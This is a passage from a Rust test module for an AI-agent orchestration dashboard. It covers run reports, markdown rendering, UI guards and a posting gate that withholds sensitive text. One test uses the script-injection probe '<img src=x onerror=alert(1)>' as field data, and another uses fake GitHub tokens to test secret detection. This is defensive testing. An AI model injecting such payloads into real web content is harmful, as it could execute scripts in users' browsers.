20388        state.event("park", "stopped at a node boundary");
20389        state.save_under(f.home.path()).unwrap();
20390
20391        for expected in ["parked", "stale"] {
20392            let list = f.get("/api/runs").await.json();
20393            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20394            assert_eq!(list[0]["live"], "dead");
20395            assert_eq!(list[0]["display_status"], expected);
20396            assert_eq!(detail["display_status"], expected);
20397            // Model a driver claim followed by a crash before the next event:
20398            // the persisted flag changes, but the last event is still park.
20399            state.parked = false;
20400            state.save_under(f.home.path()).unwrap();
20401        }
20402    }
20403
20404    #[tokio::test]
20405    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20406        let f = Fixture::start().await;
20407        for id in [
20408            "20260902-140501-aaaa",
20409            "20260902-140502-bbbb",
20410            "20260902-140503-cccc",
20411        ] {
20412            write_run(&f.runs(), id, RunStatus::Merged);
20413        }
20414
20415        let all = f.get("/api/runs").await.json();
20416        let capped = f.get("/api/runs?limit=2").await.json();
20417
20418        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20419        assert_eq!(all.as_array().map(Vec::len), Some(3));
20420        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20421        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20422    }
20423
20424    #[tokio::test]
20425    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20426        let f = Fixture::start().await;
20427        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20428
20429        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20430
20431        assert_eq!(res.status, 200);
20432        assert!(
20433            res.headers
20434                .contains("content-type: text/plain; charset=utf-8"),
20435            "a browser must render it, not download it: {}",
20436            res.headers
20437        );
20438        // The assertion is on content, not on the absence of escapes: colour
20439        // is a process-global that `serve` turns off at startup, and another
20440        // test in this binary may own it while this one runs.
20441        assert!(
20442            res.body.contains("20260902-140501-a1b2"),
20443            "the report is about the run that was asked for: {}",
20444            res.body
20445        );
20446    }
20447
20448    #[tokio::test]
20449    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20450        // The view names the run's state directory, which reads the process-global home.
20451        crate::run::pin_test_home();
20452        let f = Fixture::start().await;
20453        let id = "20260902-140501-a1b2";
20454        write_run(&f.runs(), id, RunStatus::Stalled);
20455        // A stalled panel and one review round, written through the real
20456        // state file so the route reads what a run really leaves behind.
20457        let path = f.runs().join(id).join("run.json");
20458        let mut v: serde_json::Value =
20459            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20460        v["tally"] = serde_json::json!({
20461            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20462            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20463            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20464            "met_quorum": false, "rankings": 1
20465        });
20466        v["reviews"] = serde_json::json!([{
20467            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20468            "e2e_deferred": true,
20469            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20470                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20471            ]}]
20472        }]);
20473        std::fs::write(&path, v.to_string()).unwrap();
20474        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20475        std::fs::write(
20476            f.runs().join("20260902-140502-dead").join("run.json"),
20477            "{not json",
20478        )
20479        .unwrap();
20480
20481        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20482
20483        assert_eq!(res.status, 200, "{}", res.body);
20484        assert!(res.headers.contains("content-type: application/json"));
20485        let j = res.json();
20486        assert_eq!(j["schema"], 1);
20487        assert_eq!(j["header"]["id"], id);
20488        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20489        let kinds: Vec<&str> = j["sections"]
20490            .as_array()
20491            .unwrap()
20492            .iter()
20493            .map(|s| s["kind"].as_str().unwrap())
20494            .collect();
20495        assert_eq!(kinds, ["candidates", "tally", "review"]);
20496        let tally = &j["sections"][1]["tally"];
20497        assert_eq!(
20498            (tally["decided"].clone(), tally["provisional"].clone()),
20499            (false.into(), true.into())
20500        );
20501        let round = &j["sections"][2]["rounds"][0];
20502        assert_eq!(round["e2e"]["state"], "deferred");
20503        assert_eq!(round["findings"][0]["severity"], "major");
20504        assert_eq!(round["findings"][0]["blocking"], true);
20505        assert_eq!(round["findings"][0]["state"], "open");
20506
20507        // The raw route keeps working beside it.
20508        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20509
20510        // An unreadable run is an error, as on the text route, and is counted.
20511        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20512        assert_ne!(bad.status, 200, "{}", bad.body);
20513        assert_eq!(
20514            bad.status,
20515            f.get("/api/runs/20260902-140502-dead/report").await.status
20516        );
20517        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20518        assert_eq!(
20519            f.get("/api/runs/20260902-999999-ffff/report.json")
20520                .await
20521                .status,
20522            404
20523        );
20524    }
20525
20526    #[tokio::test]
20527    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20528        crate::run::pin_test_home();
20529        let f = Fixture::start().await;
20530        let id = "20260902-140503-delib";
20531        write_run(&f.runs(), id, RunStatus::Merged);
20532        let path = f.runs().join(id).join("run.json");
20533        let mut v: serde_json::Value =
20534            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20535        v["judgements"] = serde_json::json!([
20536            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20537        ]);
20538        v["tally"] = serde_json::json!({
20539            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20540            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20541            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20542            "met_quorum": true, "rankings": 1
20543        });
20544        v["deliberation"] = serde_json::json!([
20545            {
20546                "round": 1,
20547                "turns": [
20548                    {
20549                        "judge": 1,
20550                        "agent": "judge-1",
20551                        "body": "I prefer candidate **A** because it has cleaner tests.",
20552                        "tentative": "A"
20553                    }
20554                ]
20555            },
20556            {
20557                "round": 2,
20558                "turns": [
20559                    {
20560                        "judge": 1,
20561                        "agent": "judge-1",
20562                        "body": "Still thinking, no choice yet.",
20563                        "tentative": null
20564                    }
20565                ]
20566            }
20567        ]);
20568        std::fs::write(&path, v.to_string()).unwrap();
20569
20570        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20571        assert_eq!(res.status, 200, "{}", res.body);
20572        let j = res.json();
20573        let judging = j["sections"]
20574            .as_array()
20575            .unwrap()
20576            .iter()
20577            .find(|s| s["kind"] == "judging")
20578            .expect("judging section exists");
20579
20580        // Existing summary lines remain intact
20581        let delib_lines = judging["deliberation"].as_array().unwrap();
20582        assert_eq!(delib_lines.len(), 2);
20583        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20584        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20585
20586        // rounds carry turn bodies, tentative and parsed body_md
20587        let rounds = judging["rounds"].as_array().unwrap();
20588        assert_eq!(rounds.len(), 2);
20589        let r1_t0 = &rounds[0]["turns"][0];
20590        assert_eq!(r1_t0["judge"], 1);
20591        assert_eq!(r1_t0["agent"], "judge-1");
20592        assert_eq!(r1_t0["tentative"], "A");
20593        assert_eq!(
20594            r1_t0["body"],
20595            "I prefer candidate **A** because it has cleaner tests."
20596        );
20597        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20598
20599        let r2_t0 = &rounds[1]["turns"][0];
20600        assert_eq!(r2_t0["judge"], 1);
20601        assert_eq!(r2_t0["agent"], "judge-1");
20602        assert!(r2_t0["tentative"].is_null());
20603        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20604        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20605
20606        // A run with empty deliberation array yields empty rounds
20607        let id_empty = "20260902-140504-nodelib";
20608        write_run(&f.runs(), id_empty, RunStatus::Merged);
20609        let path_empty = f.runs().join(id_empty).join("run.json");
20610        let mut v_empty: serde_json::Value =
20611            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20612        v_empty["judgements"] = serde_json::json!([
20613            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20614        ]);
20615        v_empty["deliberation"] = serde_json::json!([]);
20616        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20617
20618        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20619        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20620        let j_empty = res_empty.json();
20621        let judging_empty = j_empty["sections"]
20622            .as_array()
20623            .unwrap()
20624            .iter()
20625            .find(|s| s["kind"] == "judging")
20626            .expect("judging section exists");
20627        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20628    }
20629
20630    #[tokio::test]
20631    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20632        let f = Fixture::start().await;
20633
20634        let html = f.get("/").await;
20635        let css = f.get("/app.css").await;
20636        let js = f.get("/app.js").await;
20637
20638        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20639        assert!(
20640            html.headers
20641                .contains("content-type: text/html; charset=utf-8")
20642        );
20643        assert!(css.headers.contains("content-type: text/css"));
20644        assert!(js.headers.contains("content-type: text/javascript"));
20645        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20646    }
20647
20648    #[test]
20649    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20650        let body = |name: &str| {
20651            let at = APP_JS
20652                .find(name)
20653                .unwrap_or_else(|| panic!("{name} missing"));
20654            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20655        };
20656        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20657        let note = body("function landRoundNote");
20658        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20659        assert!(note.contains("Land round ${round}"));
20660        let land = body("function renderLand");
20661        let note_at = land
20662            .find("landRoundNote(pr)")
20663            .expect("renderLand uses the note");
20664        assert!(
20665            note_at
20666                < land
20667                    .find("roundRail(pr)")
20668                    .expect("renderLand uses the rail")
20669        );
20670    }
20671
20672    #[test]
20673    fn the_runs_page_redesign_keeps_its_guards() {
20674        let body = |name: &str| {
20675            let at = APP_JS
20676                .find(name)
20677                .unwrap_or_else(|| panic!("{name} missing"));
20678            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20679        };
20680        // A null child must never reach the native append (it prints "null").
20681        let land = body("function renderLand");
20682        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20683        assert!(
20684            !land.contains("box.append("),
20685            "renderLand must use append()"
20686        );
20687        assert!(land.contains("append(box, ["));
20688        // Tabs are hash routes; the run id alone decides a reload.
20689        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20690        assert!(
20691            body("function applyRoute")
20692                .contains("route.name !== state.route.name || route.id !== state.route.id")
20693        );
20694        // The decorative diagram is gone, the strip and its guards stay.
20695        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20696        assert!(!INDEX_HTML.contains("advise-converge"));
20697        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20698        assert!(APP_JS.contains("provisional"));
20699        for id in [
20700            "run-tab-overview",
20701            "run-tab-timeline",
20702            "run-tab-report",
20703            "run-report",
20704            "runs-scope",
20705        ] {
20706            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20707        }
20708        assert!(!INDEX_HTML.contains("runs-tree"));
20709        assert!(!INDEX_HTML.contains("run-raw-panel"));
20710        // Fold still says it cannot be resumed.
20711        assert!(APP_JS.contains("resume"));
20712        // The unreadable-runs count stays on the page.
20713        assert!(APP_JS.contains("unreadable"));
20714    }
20715
20716    #[test]
20717    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20718        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20719        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20720        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20721        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20722        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20723        // The subtitle still counts them whatever the banner does.
20724        assert!(APP_JS.contains("unreadable` : null"));
20725    }
20726
20727    #[test]
20728    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20729        let mut state = RunState::new(
20730            "/repo".into(),
20731            "main".into(),
20732            "abc".into(),
20733            "task".into(),
20734            crate::config::Config::default(),
20735        );
20736        state.status = RunStatus::Blocked;
20737        state.gate_ran = true;
20738        state.gate.push(crate::run::CommandOutcome {
20739            command: "cargo make check".into(),
20740            code: Some(1),
20741            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20742            duration_ms: 0,
20743            resource_blocked: false,
20744        });
20745        let view = RunDetailView::of(
20746            state,
20747            false,
20748            crate::run::Liveness::Unknown,
20749            None,
20750            None,
20751            None,
20752        );
20753        let value = serde_json::to_value(view).unwrap();
20754        assert_eq!(
20755            value["stop_reason"],
20756            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20757        );
20758    }
20759
20760    #[test]
20761    fn the_run_detail_payload_says_whether_the_run_is_done() {
20762        // `landView` reads `run.done`; the detail response must carry it.
20763        for (status, done) in [
20764            (RunStatus::Superseded, true),
20765            (RunStatus::Blocked, true),
20766            (RunStatus::Landing, false),
20767        ] {
20768            let mut state = RunState::new(
20769                std::path::PathBuf::from("/repo"),
20770                "main".to_owned(),
20771                "abc".to_owned(),
20772                "x".to_owned(),
20773                crate::config::Config::default(),
20774            );
20775            state.status = status;
20776            let v = serde_json::to_value(RunDetailView::of(
20777                state,
20778                false,
20779                crate::run::Liveness::Unknown,
20780                None,
20781                None,
20782                None,
20783            ))
20784            .unwrap();
20785            assert_eq!(v["done"], done, "{status:?}");
20786        }
20787    }
20788
20789    /// The first node of a markdown block holds a `strong` somewhere.
20790    fn has_strong(nodes: &[md::Node]) -> bool {
20791        serde_json::to_string(nodes).unwrap().contains("strong")
20792    }
20793
20794    #[test]
20795    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20796        let mut state = RunState::new(
20797            std::path::PathBuf::from("/repo"),
20798            "main".to_owned(),
20799            "abc".to_owned(),
20800            "x".to_owned(),
20801            crate::config::Config::default(),
20802        );
20803        let proposal = |approach: &str| {
20804            serde_json::json!({
20805                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20806            })
20807        };
20808        state.advice = Some(
20809            serde_json::from_value(serde_json::json!({
20810                "records": [
20811                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20812                     "proposal": proposal("do **this**")},
20813                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20814                ],
20815                "synthesis": "- one\n- **two**\n\n`code`",
20816            }))
20817            .unwrap(),
20818        );
20819        state.candidates = serde_json::from_value(serde_json::json!([
20820            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20821             "summary": "did **it**"},
20822            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20823        ]))
20824        .unwrap();
20825        // Recorded in ascending severity, the reverse of how the page sorts
20826        // them: the arrays must follow the record, not the display.
20827        state.reviews = serde_json::from_value(serde_json::json!([{
20828            "round": 1, "head": "h",
20829            "reviews": [{
20830                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20831                "findings": [
20832                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20833                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20834                ],
20835            }],
20836            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20837            "fix": {"agent": "a", "notes": "fixed **it**",
20838                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20839        }, {"round": 2, "head": "h2", "reviews": []}]))
20840        .unwrap();
20841
20842        let v = serde_json::to_value(RunDetailView::of(
20843            state,
20844            false,
20845            crate::run::Liveness::Unknown,
20846            None,
20847            None,
20848            None,
20849        ))
20850        .unwrap();
20851
20852        let strong = |p: &str| {
20853            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20854            assert!(n.to_string().contains("strong"), "{p}: {n}");
20855        };
20856        strong("/advice_md/synthesis");
20857        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20858        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20859        strong("/advice_md/approaches/0");
20860        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20861        strong("/candidate_summaries_md/0");
20862        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20863        strong("/reviews_md/0/reviewers/0/summary");
20864        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20865        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20866        assert!(f[1].to_string().contains("strong"));
20867        strong("/reviews_md/0/reconsideration/0");
20868        strong("/reviews_md/0/fix/notes");
20869        strong("/reviews_md/0/fix/rejected/0");
20870        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20871        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20872        // The raw strings stay, and no schema moved.
20873        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20874        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20875    }
20876
20877    #[test]
20878    fn a_run_without_advice_has_no_advice_md() {
20879        let state = RunState::new(
20880            std::path::PathBuf::from("/repo"),
20881            "main".to_owned(),
20882            "abc".to_owned(),
20883            "x".to_owned(),
20884            crate::config::Config::default(),
20885        );
20886        let p = run_prose_md(&state);
20887        assert!(p.advice_md.is_none());
20888        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20889    }
20890
20891    #[test]
20892    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20893        let store = ask::Questions::at(PathBuf::from("unused"));
20894        let gt = crate::github_text::Withheld {
20895            title: false,
20896            body: true,
20897            categories: vec!["sensitive-data".into()],
20898        };
20899        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20900        let (detail, comparison) =
20901            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20902        let mut q = Question::new(
20903            "r".into(),
20904            "github-text".into(),
20905            "posting-gate".into(),
20906            "s".into(),
20907            detail,
20908            Vec::new(),
20909        );
20910        assert!(
20911            QuestionView::of(q.clone(), &store, None)
20912                .posting_view
20913                .is_none()
20914        );
20915        q.posting_comparison = Some(comparison);
20916        let view = QuestionView::of(q.clone(), &store, None);
20917        let field = &view.posting_view.unwrap().fields[0];
20918        assert_eq!(
20919            field
20920                .original
20921                .iter()
20922                .map(|f| f.text.as_str())
20923                .collect::<String>(),
20924            body
20925        );
20926        assert!(field.original[0].text.starts_with("<img"));
20927        let original_question: Question =
20928            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20929        assert_eq!(original_question, q);
20930        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20931            .original
20932            .start = 1;
20933        assert!(
20934            QuestionView::of(q.clone(), &store, None)
20935                .posting_view
20936                .is_none()
20937        );
20938        q.posting_comparison = original_question.posting_comparison;
20939        q.detail.push_str("extra context");
20940        assert!(
20941            QuestionView::of(q.clone(), &store, None)
20942                .posting_view
20943                .is_some()
20944        );
20945        q.detail.insert(0, 'x');
20946        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20947    }
20948
20949    #[test]
20950    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20951        let store = ask::Questions::at(PathBuf::from("unused"));
20952        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20953        let gt = crate::github_text::Withheld::from_check(
20954            &crate::github_text::check("fix: x", body),
20955            "fix: x",
20956            body,
20957        )
20958        .unwrap();
20959        let (detail, comparison) =
20960            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20961        let mut q = Question::new(
20962            "r".into(),
20963            "github-text".into(),
20964            "posting-gate".into(),
20965            "s".into(),
20966            detail,
20967            Vec::new(),
20968        );
20969        q.posting_comparison = Some(comparison);
20970        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20971        let field = &value["posting_view"]["fields"][0];
20972        let group = &field["replacement_group"];
20973        let triggers = group["triggers"].as_array().unwrap();
20974        assert_eq!(triggers.len(), 2);
20975        assert_ne!(triggers[0], triggers[1]);
20976        for id in triggers {
20977            assert!(
20978                field["original"]
20979                    .as_array()
20980                    .unwrap()
20981                    .iter()
20982                    .any(|f| &f["pair"] == id)
20983            );
20984            assert!(
20985                !field["changed"]
20986                    .as_array()
20987                    .unwrap()
20988                    .iter()
20989                    .any(|f| &f["pair"] == id)
20990            );
20991        }
20992        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20993            group["id"].as_u64().unwrap() as usize;
20994        assert!(
20995            QuestionView::of(q, &store, None).posting_view.is_none(),
20996            "group and trigger IDs cannot collide"
20997        );
20998    }
20999
21000    #[test]
21001    fn a_question_view_carries_markdown_for_each_thread_turn() {
21002        let home = TempDir::new().unwrap();
21003        let store = ask::Questions::at(home.path().join("questions"));
21004        let mut q = Question::new(
21005            "run".to_owned(),
21006            "implement".to_owned(),
21007            "impl-A".to_owned(),
21008            "which?".to_owned(),
21009            String::new(),
21010            Vec::new(),
21011        );
21012        q.say("plain words").unwrap();
21013        q.reply("use **this**", Vec::new()).unwrap();
21014        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21015        let bodies = &v["thread_bodies_md"];
21016        assert_eq!(bodies.as_array().unwrap().len(), 2);
21017        assert!(!bodies[0].to_string().contains("strong"));
21018        assert!(bodies[1].to_string().contains("strong"));
21019    }
21020
21021    #[test]
21022    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21023        let home = TempDir::new().unwrap();
21024        let store = ask::Questions::at(home.path().join("questions"));
21025        let mut q = Question::new(
21026            "run".to_owned(),
21027            "conduct".to_owned(),
21028            "conduct".to_owned(),
21029            "which?".to_owned(),
21030            String::new(),
21031            Vec::new(),
21032        );
21033        q.say("plain words").unwrap();
21034        q.thread.push(ask::Turn {
21035            who: ask::Who::Agent,
21036            body: "Settled as `merge`".to_owned(),
21037            at: jiff::Timestamp::now(),
21038            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21039        });
21040        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21041        let notes = &v["thread_notes_md"];
21042        assert_eq!(notes.as_array().unwrap().len(), 2);
21043        assert!(notes[0].is_null());
21044        let text = notes[1].to_string();
21045        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21046        assert!(APP_JS.contains("ask-turn-note"));
21047    }
21048
21049    #[test]
21050    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21051        // The land panel defers to `run.status` for merged, and labels a
21052        // recorded-open PR on any finished run (superseded, blocked, ...) as
21053        // last seen, never as live state.
21054        assert!(APP_JS.contains("function landView(run, raw) {"));
21055        assert!(
21056            APP_JS.contains(
21057                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21058            )
21059        );
21060        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21061        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21062        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21063        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21064    }
21065
21066    #[test]
21067    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21068        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21069        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21070        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21071        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21072    }
21073
21074    #[test]
21075    fn review_rounds_label_a_distinct_verified_head() {
21076        assert!(APP_JS.contains("round.verified_head"));
21077        assert!(APP_JS.contains("verified HEAD"));
21078        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21079    }
21080
21081    #[test]
21082    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21083        // A blocked task's chip and note must not fall back to a queued-like
21084        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21085        // itself by e11fc58 but never checked here.
21086        assert!(APP_JS.contains("blocked: { glyph:"));
21087        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21088
21089        // `blocked_by` mixes task ids and question ids in the same list, and
21090        // the client can only tell them apart by checking each id against
21091        // what it actually knows - never by guessing from the id's shape.
21092        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21093        assert!(
21094            APP_JS.contains(
21095                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21096            ),
21097            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21098        );
21099        // The classification must key off `status_str`, never off `blocked_by`
21100        // or `block_reason` merely being present - both can survive briefly
21101        // on a task a hold or a dead daemon just moved off `blocked`.
21102        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21103
21104        // A question a task is blocked on gets its own node in the same
21105        // dependency graph, not just a task-shaped node with nothing known
21106        // about it.
21107        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21108        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21109        assert!(
21110            APP_JS.contains("location.hash = \"#/questions\";"),
21111            "a question node must jump to the Questions screen, not pretend to be a task"
21112        );
21113
21114        // `Task::answers` - decisions already made - are shown as a record on
21115        // the card, the same disclosure style as the full instruction.
21116        assert!(APP_JS.contains("Resolved questions"));
21117        assert!(APP_JS.contains("r.answersList.append("));
21118        assert!(APP_CSS.contains(".task-answers"));
21119        {
21120            let start = APP_JS
21121                .find("function updateTalkTaskRow")
21122                .expect("updateTalkTaskRow");
21123            let body = &APP_JS[start..];
21124            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21125            assert!(
21126                body.contains(
21127                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21128                ),
21129                "a chat-filed task row must link to the task page"
21130            );
21131            assert!(
21132                !body.contains("#/runs/") && !body.contains("#/queue/"),
21133                "the row must not branch to a run or the queue card"
21134            );
21135            assert!(APP_CSS.contains(".talk-task-link"));
21136        }
21137    }
21138
21139    #[test]
21140    fn a_task_notification_links_to_the_task_page() {
21141        // A task notice opens the task detail page, not the Backlog card.
21142        let start = APP_JS
21143            .find("function noticeLink(")
21144            .expect("noticeLink exists");
21145        let body = &APP_JS[start..];
21146        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21147        assert!(
21148            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21149            "a task notice's link must target the task page"
21150        );
21151        assert!(
21152            !body.contains("#/queue/"),
21153            "regression: the task link must not go back to the Backlog route"
21154        );
21155        assert!(
21156            APP_JS.contains(
21157                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21158            ),
21159            "`#/tasks/<id>` must parse into the task route"
21160        );
21161
21162        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21163        assert!(
21164            APP_JS.contains(
21165                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21166            ),
21167            "`#/queue/<id>` must parse into a route carrying that id"
21168        );
21169
21170        // And the Backlog view has to actually land on the card once it can
21171        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21172        // so a focus set before the queue has loaded is retried once it has.
21173        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21174        assert!(APP_JS.contains("function consumeQueueFocus()"));
21175        assert!(APP_JS.contains("jumpToTask(id)"));
21176    }
21177
21178    #[test]
21179    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21180        let start = APP_JS
21181            .find("function noticeCoveredBy(")
21182            .expect("noticeCoveredBy exists");
21183        let body = &APP_JS[start..];
21184        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21185
21186        // Historical associations are informational, even for open questions.
21187        assert!(body.contains("Associated question ${short}"));
21188        assert!(!body.contains("el(\"a\""));
21189
21190        // A resolved question displays status rather than an actionable link
21191        assert!(body.contains("(resolved)"));
21192        assert!(body.contains("(closed)"));
21193
21194        let start = APP_JS
21195            .find("function renderNotifications()")
21196            .expect("renderNotifications exists");
21197        let body = &APP_JS[start..];
21198        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21199
21200        // Only a server-resolved answerable question supplies a response link.
21201        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21202        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21203        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21204        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21205    }
21206
21207    /// Chat rows are two lines at every width: the title alone, then the
21208    /// shrinkable secondary info.
21209    #[test]
21210    fn chat_rows_put_the_title_alone_on_the_first_line() {
21211        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21212        assert!(APP_CSS.contains(
21213            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21214        ));
21215        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21216        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21217    }
21218
21219    #[test]
